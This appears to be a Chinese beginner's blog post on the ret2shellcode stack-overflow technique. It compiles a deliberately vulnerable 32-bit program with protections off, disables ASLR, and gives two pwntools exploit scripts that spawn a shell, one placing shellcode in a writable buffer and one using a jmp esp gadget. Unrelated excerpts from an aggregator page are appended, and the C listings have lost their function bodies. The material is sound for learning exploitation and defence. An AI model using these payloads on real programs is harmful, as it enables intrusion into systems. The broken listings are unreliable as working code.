與ret2shellcode的初相識

2021-10-08 15:53:01 字數 3389 閱讀 4055

發現freebuf的網名好像不可以修改,後悔當時隨便起的這個名字了!害~

ret2shellcode,也就是return to shellcode,在執行完某個函式之後,跳到shellcode上,達到get shell的目的。

ret2shellcode關鍵在於我們找到乙個可讀可寫可執行的緩衝區,接下來把我們的shellcode放到這個緩衝區,然後跳轉到我們的shellcode處執行 。

先看乙個存在棧溢位的c語言程式

#include 

#include

char str1[0x40]

;void func(

)int main(

)

我們可以看到這個程式,str1就是我們找到的那段可讀可寫可執行的緩衝區,那我們可以寫一段shellcode放到str1中,在發生溢位時把返回位址寫成str1的位址,那就會執行shellcode。

進行編譯

gcc -no-pie -fno-stack-protector -z execstack -m32 -o 6.exe 6.c
注釋:-fno-stack-protector:沒有堆疊保護

-z execstack:堆疊可執行

-m32: 32位

編譯完成之後,順便 checksec 6.exe,接下來檢視一下保護機制,

定位溢位點

在func處加個斷點,cyclic 200,生成100個隨機字元,繼續r

繼續執行之後,將上面生成的字串複製進去

找到str1的首位址

多次單步執行 n ,就可以找到str1的首位址為0x804c060

生成shellcode的方法

==方法1:==用pwntool或者peda和msfpc或者msfvenom工具生成,支援上線,最好越短越好

例如用pwntool中的shellcraft.sh(),再轉彙編位元組碼asm(),也就是asm(shellcraft.sh()),本例中的exp就使用了這個

寫exp

from pwn import *

context(arch=

"i386",os=

"linux"

)p=process(

'./6.exe'

)offset = 76

shellcode=asm(shellcraft.sh(

))payload =shellcode.ljust(offset,'\x90'

)+p32(0x804c060)

p.sendline(payload)

p.interactive(

)

可以單獨看一下payload的寫法,因為shellcode的長度不足以達到76,所以剩餘的部分用\x90代替,製造一段nop導軌,直接滑到shellcode上去執行

執行一下,get shell!

先看c語言程式:

#include 

#include

#include

#include

#include

void exploit(

)void func(

)int main(

)

先echo 0 >/proc/sys/kernel/randomize_va_space,關閉記憶體位址隨機化機制,為了保證system("/bin/sh")在記憶體中的位址不發生改變

然後按照與 示例一 一樣的方法進行編譯,然後start

定位溢位點的方法也一樣,可以得到溢位點的位置是76

接下來找 jmp esp的位址,在peda下輸入下面的命令:

asmsearch "jmp esp"
找到乙個jmp esp的位址

寫exp

from pwn import *

context(arch=

"i386",os=

"linux"

)p=process(

'./8.exe'

)offset = 76

shellcode=asm(shellcraft.sh(

))

add_jmpesp=p32(0x080b001f) //找到的jmp esp的位址

payload =

'\x90'*offset+add_jmpesp+shellcode

p.sendline(payload)

p.interactive(

)

可以看到我們在構造payload的時候並沒有直接到shellcode上去,而是先去執行jmp esp,而此時棧頂恰好就是shellcode的首位址,也就是說執行完jmp esp,再去執行shellocde,這是一種動態定位的方法。如下圖,成功執行並get shell!

1.本文主要描述了ret2shellcode的相關原理和例項,關鍵的一點還在於我們找到乙個可讀可寫可執行的緩衝區,接下來把我們的shellcode放到這個緩衝區,然後跳轉到我們的shellcode上執行

2.兩種生成shellcode的方法:

(1)用pwntool或者peda和msfpc或者msfvenom工具生成

(2)自己手寫或從網上copy

3.可以用jmp esp構造payload,動態定位shellcode的位址

路雖遠,行則至!今天終於在安全主流**上發表文章,勇敢的邁出了第一步,信安小白投的第一篇文章獻醜了,若有不足之處還請各位大牛多多指出!

Ret2shellcode和NX保護機制

ret2text漏洞利用依賴於程式中存在執行system bin sh 的函式,如果沒有這個函式,怎麼辦呢?沒有執行shell的函式,沒有開啟nx保護 我們需要傳入自定義shellcode,這就利用方式就是ret2shellcode shellcode是黑客編寫的用於實行特定功能的彙編 通常是開啟乙...

ret2text失敗 記錄一次簡單的棧溢位

來自攻防世界的level0樣本,檢查樣本檔案,是64位的小端程式,並且只開啟了nx保護。如上圖所示,該程式有非常明顯的棧溢位並且存在後門函式,所以下面直接上exp,並且解釋下在ubuntu20.04上遇到的漏洞利用問題。from pwn import context os linux arch am...

SQL EXISTS與IN的區別(2)

select from a where id in select id from b 以上查詢使用了in語句,in 只執行一次,它查出b表中的所有id欄位並快取起來.之後,檢查a表的id是否與b表中的id相等,如果相等則將a表的記錄加入結果集中,直到遍歷完a表的所有記錄.它的查詢過程類似於以下過程 ...